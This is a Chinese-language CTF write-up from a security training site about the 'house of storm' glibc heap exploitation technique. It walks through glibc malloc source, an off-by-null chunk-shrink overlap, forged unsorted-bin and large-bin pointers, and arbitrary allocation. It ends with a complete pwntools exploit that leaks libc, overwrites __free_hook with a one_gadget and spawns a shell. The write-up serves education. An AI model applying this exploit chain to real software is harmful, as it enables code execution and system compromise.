• 新闻动态
  • 行业动态
  • 公司新闻
  • 关于我们
  • 公司简介
  • 经典活动
  • 网安知识
    house of storm 的利用
    2020-07-01 14:55

    题目逻辑

    init_data

    1.png

    利用mallopt函数将fastbin关闭,并且通过mmap函数分配一段地址空间,空间的范围为0x13370000-0x13371000,通过fd=open("/dev/urandom",0)去获取随机数,并往0x13370800地址开始写入24个字节。

    for循环是将mmap开辟的地址填充随机数异或后的结果。

    add

    2.png

    输入的size值的范围为0xc-0x1000,并且得到的堆块地址以及输入的size会通过异或再存入mmap的地址段中。

    delete

    3.png

    show

    4.png

    show函数打印有前提条件,因此程序刚开始是不可以输入信息的,需要修改后才能输出。

    edit

    5.png

    edit功能,输入的size值只能是add时填入的size-0xc,因为这0xc的空间会被自动填入数据,但是却额外的填入了0字节,造成了off-by-null的漏洞。

    源码与分析

    ■ mallopt

    ■ mmap

    ■ unlink

    ■ unsortbin

    mallopt

    int mallopt(int param,int value)

    ■ param的取值可以为

    ■ M_MMAP_MAX用于设置进程中用mmap分配的内存块的最大限制,默认值为64K。如果将M_MMAP_MAX设置为0,ptmalloc将不会使用mmap分配大块内存。

    ■ 用于设置mmap阈值,默认值为128K,ptmalloc默认开启动态调整mmap分配阈值和mmap收缩阈值。

    ■ 当用户需要分配的内存大于mmap分配阈值,ptmalloc的malloc()函数其实相当于mmap()的简单封装,free函数相当于munmap()的简单封装。相当于直接通过系统调用分配内存,回收的内存就直接交还给操作系统。因为大块内存不能被ptmalloc缓冲管理,不能重用,所以ptmalloc也只有在不得已情况下使用该方式分配内存

    ■ mmap分配的好处

    ■ mmap分配的坏处

    ■ 因此mmap来分配长生命周期的大内存块是嘴好的选择,其他情况下都不太高效。

    ■ mmap的空间可以独立从系统中分配和释放的系统,对于长时间运行的程序,申请长生命周期的大内存块就很适合。

    ■ mmap的空间不会被ptmalloc所在缓冲的chunk中,不会导致ptmalloc内存暴增。

    ■ 对于有些系统的虚拟地址空间存在洞,只能使用mmap()进行分配内存,sbrk()不能运行。

    ■ 内存不能被ptmalloc回收再利用

    ■ 会导致更多的内存浪费,因为mmap需要按页对齐。

    ■ 分配效率跟操作系统提供的mmap()函数的效率密切相关,Linux系统强制把匿名mmap的内存物理页请0.

    ■ 用于设置mmap收缩阈值,默认值为128KB

    ■ 用于设置fastbins保存chunk的最大大小,默认为64B最大可以设置为80B,若设置为0,则表示不使用fast bins

    ■ M_MXFAST

    ■ M_TRIM_THRESHOLD

    ■ M_MMAP_THRESHOLD

    ■ M_MMAP_MAX

    #ifndef M_MXFAST

    # define M_MXFAST  1    /* maximum request size for "fastbins" */

    #endif


    int __libc_mallopt (int param_number, int value)

    {

        mstate av = &main_arena;

    int res = 1;  

    if (__malloc_initialized < 0)

          ptmalloc_init ();

        __libc_lock_lock (av->mutex);  

        LIBC_PROBE (memory_mallopt, 2, param_number, value);  

    /* We must consolidate main arena before changing max_fast

    5149       (see definition of set_max_fast).  */

        malloc_consolidate (av);  

    switch (param_number)

          {

    case M_MXFAST:

    if (value >= 0 && value <= MAX_FAST_SIZE)          

              {

                LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());

                set_max_fast (value);

            }

    else

              res = 0;

    break;  

    case M_TRIM_THRESHOLD:

            do_set_trim_threshold (value);

    break;  

    case M_TOP_PAD:

            do_set_top_pad (value);

    break;  

    case M_MMAP_THRESHOLD:

            res = do_set_mmap_threshold (value);

    break;  

    case M_MMAP_MAX:

            do_set_mmaps_max (value);

    break;  

    case M_CHECK_ACTION:

            do_set_mallopt_check (value);

    break;  

    case M_PERTURB:

            do_set_perturb_byte (value);

    break;  

    case M_ARENA_TEST:

    if (value > 0)

              do_set_arena_test (value);

    break;  

    case M_ARENA_MAX:

    if (value > 0)

              do_set_arena_max (value);

    break;

          }

        __libc_lock_unlock (av->mutex);

    return res;

    }

    mmap

    void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);■ start:映射区的开始地址,设置为0时表示由系统决定映射区的起始地址

    ■ length:映射区的长度。以字节为单位

    ■ prot:期望内存保存标志,不能与文件的打开模式重读

    ■ PROT_EXEC:页内容可以被执行

    ■ PROT_READ:页内容可以被读取

    ■ PROT_WRITE:页可以被写入

    ■ PROT_NONE:页不可被访问

    ■ flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下选项的组合

    ■ MAP_FIXED:使用指定的映射其起始地址,如果由start和len参数指定的内存区重叠于现存的映射空间,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。

    ■ MAP_SHARED:与其他所有映射这个对象的进程共享映射空间。对共享区的写入,相当于输出到文件。直到msync()或者munmap()被调用,文件实际上不会被更新。

    ■ MAP_PRIVATE //建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。

    ■ MAP_DENYWRITE //这个标志被忽略。

    ■ MAP_EXECUTABLE //同上

    ■ MAP_NORESERVE //不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。

    ■ MAP_LOCKED //锁定映射区的页面,从而防止页面被交换出内存。

    ■ MAP_GROWSDOWN //用于堆栈,告诉内核VM系统,映射区可以向下扩展。

    ■ MAP_ANONYMOUS //匿名映射,映射区不与任何文件关联。

    ■ //MAP_ANONYMOUS的别称,不再被使用。

    ■ MAP_FILE //兼容标志,被忽略。

    ■ MAP_32BIT //将映射区放在进程地址空间的低2GB,MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。

    ■ MAP_POPULATE //为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。

    ■ MAP_NONBLOCK //仅和MAP_POPULATE一起使用时才有意义。不执行预读,只为已存在于内存中的页面建立页表入口。

    ■ fd:有效的文件描述词。一般是由open()函数返回,其值也可以是为-1,此时需要指定flags参数中的MAP_ANOP,表明进行的是匿名映射。

    ■ off_toffset:被映射对象内容的起点。

    /dev/urandom

    利用/dev/urandom文件创建随机数

    从unsortbin取出堆块的源码

    源码截取自glibc-2.27/malloc/malloc.c:3729

    6.png

    7.png

    8.png

    9.png

    0.png

    11.png

    12.png

    13.png

    unlink

    14.png

    15.png

    从largebin中申请堆块

    16.png

    17.png

    18.png

    思路

    ##step 1

    利用off-by-null 漏洞,实现chunk shrink

    add(0x28)#0

    add(0xaa0)#1 利用Off-by-null的漏洞,实现堆块的收缩,完成堆块的重叠

    add(0x80)#2  该堆块的prev_size会为0xab0且不会被修改

    add(0x80)#3 防止与top chunk合并

    edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))#设置prev_size域绕过unlink检测

    delete(1)

    edit(0,0x28-0xc,'a'*(0x28-0xc))#触发off-by-null漏洞

    add(0x80)#1

    add(0x420)#4

    add(0x80)#5

    add(0x410)#6  

    add(0x80)#7

    # trigger unlink

    delete(1)

    delete(2)#触发unlink,完成堆块的堆叠

    **这里解释下edit的原因**

    edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))

    off-by-null之前

    19.png

    off-by-null之后

    20.png

    由于off-by-null的原因,size域的最低字节被0字节覆盖了

    add(0x80)#1

    add(0x420)#4

    add(0x80)#5

    add(0x410)#6  

    add(0x80)#7

    此时需要将unsortbin的空闲chunk申请出来,为什么这样申请,后续有说明。当申请堆块时,由于fastbin,smallbin都没有符合要求的堆块,因此会遍历unsortbin找到是否有合适的堆块,没有则断开双链,将unsortbin里面的堆块放到合适的bin里面,而此时位于unsortbin里的空闲chunk的大小为0xa00,是属于largebin里的,因此会先将空闲chunk放进largebin中,再通过unlink操作从largebin中分隔适合的堆块出来。翻看一下源码。

    从unsortbin解链,放进largebin中

    /* remove from unsorted list */

              unsorted_chunks (av)->bk = bck;

    //unsortbin的bk指针指向倒数第二个堆块

              bck->fd = unsorted_chunks (av);

    //倒数第二个堆块的fd指针指向unsortedbin

    //把unsortbin的最后一个堆块取出来

          ......

              victim->fd_nextsize = victim->bk_nextsize = victim;    

    //vitctim为从unsortbin中取出的堆块

    从largebin中申请堆块

    if ((victim = first (bin)) != bin &&

                  (unsigned long) (victim->size) >= (unsigned long) (nb)) //判断largebin是否为空以及判断请求的size是否小于largebin中最大块的size

                {

                  victim = victim->bk_nextsize; 

    //通过bk_nextsize指针遍历,从小到大找堆块

    while (((unsigned long) (size = chunksize (victim)) <

                          (unsigned long) (nb))) //直到找到的堆块size值大于或等于请求的size值

                    victim = victim->bk_nextsize; 


    /* Avoid removing the first entry for a size so that the skip

                     list does not have to be rerouted.  */

    if (victim != last (bin) && victim->size == victim->fd->size) //若申请的chunk存在着多个结点,则申请结点,而不申请堆头

                    victim = victim->fd;


                  remainder_size = size - nb;

                  unlink (av, victim, bck, fwd); //unlink操作取出堆块

    可以发现从largebin取出堆块是通过unlink操作的,那么我们就需要绕过unlink检测

    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))  

    //检查P堆块的size域与P的下一个堆块的prev_szie域是否一致

          malloc_printerr ("corrupted size vs. prev_size");

    这里的p堆块即需要取出的largebin,在unlink的第一个条件是需要判断当前堆块的size域与下一个堆块的prev_size域是否一致。

    若我们不eidt去伪造prev_size域则可能造成

    21.png

    可以发现与unlink第一个判断条件的报错输出一致,即没有绕过unlink的检测,因此edit是为了构造

    (chunksize(P) == prev_size (next_chunk(P))

    22.png

    构造两个largebin大小的堆块

    add(0x80)#1

    add(0x420)#4

    add(0x80)#5

    add(0x410)#6

    add(0x80)#7

    这里我们需要构造两个largebin大小的堆块,用于后续的操作。

    触发unlink

    delete(1)

    delete(2)

    由于通过off-by-null的漏洞将堆块的size收缩了,但是由于空闲块的管理机制,被释放掉的堆块的下一个堆块的prev_size域会记录其大小,因此触发unlink可以实现堆块的堆叠

    23.png

    接着触发unlink

    24.png

    实现了堆块的堆叠

    ##step 2

    mmap_addr = 0x13370800-0x10

    add(0x80)#1

    add(0x420)#4 unsortchunk

    add(0x80)#5

    add(0x410)#6 largechunk  

    add(0x80)#7

    ....

    ....

    delete(6) #largechunk

    add(0x500)#2

    delete(4) #unsortchunk

    #unsortchunk

    payload = 'a'*0x80+p64(0)+p64(0x431)

    payload += p64(0)+p64(mmap_addr)

    #largechunk

    payload += 'a'*(0x420-0x10)

    payload += p64(0)+p64(0x91)

    payload += 'a'*0x80

    payload += p64(0)+p64(0x421)  

    payload += p64(0)+p64(mmap_addr+8)

    payload += p64(0)+p64(mmap_addr-0x18-5)

    edit(1,len(payload),payload)

    首先通过刚刚排好的堆块实现,unsortbin与largebin的攻击,而且unsortbin堆块的大小需要比lagrebin堆块的更大。

    25.png

    首先伪造unosrtbin堆块的bk指针,使得可以完成任意地址堆块分配

    #unsortchunk

    payload = 'a'*0x80+p64(0)+p64(0x431)

    payload += p64(0)+p64(mmap_addr)

    回头看看源码

    if (size == nb)

    {

    set_inuse_bit_at_offset (victim, size);

    if (av != &main_arena)

    set_non_main_arena (victim);

    #if USE_TCACHE

    .....

    else

    {

    #endif

    check_malloced_chunk (av, victim, nb);

    void *p = chunk2mem (victim);

    alloc_perturb (p, bytes);

    return p;

    若我们申请的size与unosrtbin中的堆块的size值一致,则直接取出

    26.png

    unsortchunk为一开始我们放入unsortbin的chunk,修改bk指针使得它指向我们想要获得的chunk

    27.png

    在unsortbin第一次遍历时,我们放入unsortbin中的chunk会被断开双链并放入largebin中,并且target_chunk会成为unsortbin的bk指针指向的chunk,并且在第二次遍历时,由于我们申请的chunk与target_chunk的size值一致,因此我们会直接取出target_chunk,达到了任意堆块的分配,那么想要完成这种攻击则需要伪造target_chunk的size值。

    利用largetbin的攻击,伪造target_chunk的size值与target_chunk的bk指针

    #largechunk

    payload += 'a'*(0x420-0x10)

    payload += p64(0)+p64(0x91)

    payload += 'a'*0x80

    payload += p64(0)+p64(0x421)  

    payload += p64(0)+p64(mmap_addr+8)#lagrgebin->bk

    payload += p64(0)+p64(mmap_addr-0x18-5)#largebin->bk_nextsize

    首先是伪造target_chunk->bk指针

    payload += p64(0)+p64(mmap_addr+8)#lagrgebin->bk

    回过头看下largebin是如何从unsortbin中放入largebin的

    else

                            {

    //否则vitcim自己成为堆头

                              victim->fd_nextsize = fwd;

                              victim->bk_nextsize = fwd->bk_nextsize;

                              fwd->bk_nextsize = victim;

                              victim->bk_nextsize->fd_nextsize = victim;

                            }

                          bck = fwd->bk;

    //fwd为控制的堆块

                        }

                        .....

                        mark_bin (av, victim_index);

                        victim->bk = bck;

                        victim->fd = fwd;

                        fwd->bk = victim;

                        bck->fd = victim;

    victim为我们从unsortbin取出来的unsortchunk,fwd为我们放进largebin中的largechunk

    bck = fwd->bk; //即bck = largechunk->bk

    ....

    bck->fd = victim;//bck->fd = unsortchunk_addr

    再将unsortchunk放入lagrgebin的链表中时,需要访问largechunk的bk指针指向的内容,因此largechunk->bk指针指向的地址必须是有效的。

    第二需要注意的点,当我们需要从unsortbin的链表中直接获取堆块时,需要注意要通过unsortbin的检测


             unsorted_chunks (av)->bk = bck;

      //bck指的是target_chunk->bk

             //unsortbin的bk指针指向倒数第二个堆块

             bck->fd = unsorted_chunks (av);

             //需要访问到target_chunk->bk->fd,因此target_chunk->bk需要是有效地址

    可以看到当我们需要取出target_chunk时,会需要访问到target_chunk->bk指针指向的地址,因此该地址也必须有效,否则会报错。借助


    bck->fd = victim;//bck->fd = unsortchunk_addr

    bck为我们伪造的largechunk的bk指针,若我们将该bk指针伪造为target_chunk+8则

    (target_chunk+8)->fd = target_chunk->bk = victim

    //成功将target_chunk->bk指针指向有效地址

    伪造target_chunk的size域

    payload += p64(0)+p64(mmap_addr-0x18-5)#largebin->bk_nextsize

    回顾从unsortbin解除链接,放入largebin的过程

    //victim为unsortchunk

    //fwd为largechunk

                  victim->fd_nextsize = fwd;

                              victim->bk_nextsize = fwd->bk_nextsize;

    //fwd->bk_nextsize是我们伪造的地址,并且将该地址赋值给unsortchunk->bk_nextsize

                              fwd->bk_nextsize = victim;

                              victim->bk_nextsize->fd_nextsize = victim;

    //victim->bk_nextsize已经被赋值为我们伪造的地址即fake_addr

    //将unsortchunk的地址赋值给fake_addr->fd_nextsize

    可以看到我们伪造的bk_nextsize的值,可以被unsortchunk的地址所赋值,我们目标是将target_chunk的size域给修改成我们希望的值,由于程序开启了pie,当开启pie时堆块的地址的最高字节一般为0x55或0x56,那么我们只需要将堆块的高字节部分被填写入targetchunk的size域则完成size域的伪造则

    //fake_addr的值为victim->bk_nextsize,即为fwd->bk_nextsize,即为我们伪造的bk_nextsize

    fake_addr -> fd_nextsize = victim;

    //伪造targetchunk的size域

    target_chunk - 0x18 - 5 = victim;

    `target_chunk-0x18是使得victim->bk_nextsize落于targetchunk的size域,由于堆块为6个字节,因此要将使得最高字节落入size域需要再-5,便可将堆块的最高字节落入size域,使得targetchunk的size域为0x55或0x56`,这里注意小端模式。

    但是需要堆块的高字节为0x56才能申请成功,这是因为

    assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||

    ar_ptr == arena_for_chunk (mem2chunk (victim)));

    程序会通过标志位判断该堆块是否为mmap申请而来。

    伪造后的堆块

    28.png

    ##step 3

    当我申请成功后,就获得了在mmap地址段写能力,也就能够完成任意地址写了,这里需要注意的是,由于我们将mmap的地址放入unsortbin地址取出,此时mmap的fd与bk指针会被修改为main_aren与堆块地址,即异或随机数被修改为main_arean与堆块地址了

    29.png

    接着修改后续内容使得程序的show功能启用,利用任意地址写进而getshell

    exp

    from pwn import *

    #sh = remote("node3.buuoj.cn",26774)

    sh = process("./pwn")

    libc = ELF("libc.so.6")

    def add(size):

      sh.recvuntil("Command:")

      sh.sendline("1")

      sh.recvuntil("Size: ")

      sh.sendline(str(size))

    def edit(index,size,content):

      sh.recvuntil("Command:")

      sh.sendline("2")

      sh.recvuntil("Index: ")

      sh.sendline(str(index))

      sh.recvuntil("Size: ")

      sh.sendline(str(size))

      sh.recvuntil("Content: ")

      sh.send(content)

    def delete(index):

      sh.recvuntil("Command:")

      sh.sendline("3")

      sh.recvuntil("Index: ")

      sh.sendline(str(index))

    def show(index):

      sh.recvuntil("Command:")

      sh.sendline("4")

      sh.recvuntil("Index: ")

      sh.sendline(str(index))

    mmap_addr = 0x13370800-0x10

    #step 1 chunk shrink

    add(0x28)#0

    add(0xaa0)#1

    add(0x80)#2

    add(0x80)#3

    edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))

    delete(1)

    edit(0,0x28-0xc,'a'*(0x28-0xc))

    add(0x80)#1

    add(0x420)#4 unsortchunk

    add(0x80)#5

    add(0x410)#6 largechunk  

    add(0x80)#7

    # trigger unlink

    delete(1)

    delete(2)


    add(0xb30)#1

    payload = 'a'*0x80+p64(0)+p64(0x431)

    payload += 'a'*0x420+p64(0)+p64(0x91)

    payload += 'a'*0x80+p64(0)+p64(0x421)

    payload += 'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)

    edit(1,len(payload),payload)


    delete(6)

    add(0x500)#2

    delete(4)

    #unsortbin

    payload = 'a'*0x80+p64(0)+p64(0x431)

    payload += p64(0)+p64(mmap_addr)

    #largebin

    payload += 'a'*(0x420-0x10)

    payload += p64(0)+p64(0x91)

    payload += 'a'*0x80

    payload += p64(0)+p64(0x421)  

    payload += p64(0)+p64(mmap_addr+8)

    payload += p64(0)+p64(mmap_addr-0x18-5)

    edit(1,len(payload),payload)

    #get target chunk


    add(0x48)#4

    attach(sh)

    payload = p64(0)*3+p64(0x13377331)+p64(mmap_addr+0x10)+p64(0x80)

    edit(4,len(payload),payload)

    show(0)

    sh.recvuntil("Chunk[0]: ")

    sh.recv(0x60)

    xor1 = u64(sh.recv(8))

    xor2 = u64(sh.recv(8))

    print 'xor1:'+hex(xor1)

    print 'xor2:'+hex(xor2)

    main_arena = xor1 ^ (mmap_addr+0x10)

    print 'main_arena:'+hex(main_arena)

    libc_base = main_arena - 0x3c4b78

    print 'libc_base'+hex(libc_base)

    free_hook = libc_base + libc.symbols['__free_hook']

    print 'free_hook:'+hex(free_hook)

    system = libc_base + libc.symbols['system']

    print 'system:'+hex(system)

    one_gadget = libc_base + 0x4526a

    payload = p64(0)*4+p64(free_hook)+p64(0x8)

    edit(0,len(payload),payload)

    edit(0,0x8,p64(one_gadget))


    #attach(sh)


    sh.interactive()

    如果大家想要尝试远程的可以去https://buuoj.cn/

    里面有许多往年的原题,是个很好的做题网站

    总结

    这是一道用于学习house of storm的题目,这道题目涉及的知识点较多unsortbin的循环取出,unlink操作,chunk overlapping等等,可以多看看源码并且对知识做一个归纳总结。

    参考连接

    https://blog.csdn.net/u013920085/article/details/52847464

    http://eternalsakura13.com/2018/04/03/heapstorm2/

    https://mp.weixin.qq.com/s/m30WVySbRrah9GFPdwcGKw

    https://xz.aliyun.com/t/5265

    https://bbs.pediy.com/thread-225973.htm

    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/implementation/basic-zh/#unlink

    相关实验:通过write实现信息泄漏 

    (介绍信息泄露、GOT、PLT等相关概念,着重讲解信息泄露在缓冲区溢出中的重要作用,为你揭开CTF PWN题目提供的libc.so.6文件的神秘面纱。)

    上一篇:初识Fastjson漏洞(环境搭建及漏洞复现)
    下一篇:pwnable.tw之3x17
    版权所有 合天智汇信息技术有限公司 2013-2020 湘ICP备14001562号-6
    Copyright © 2013-2020 Heetian Corporation, All rights reserved
    4006-123-731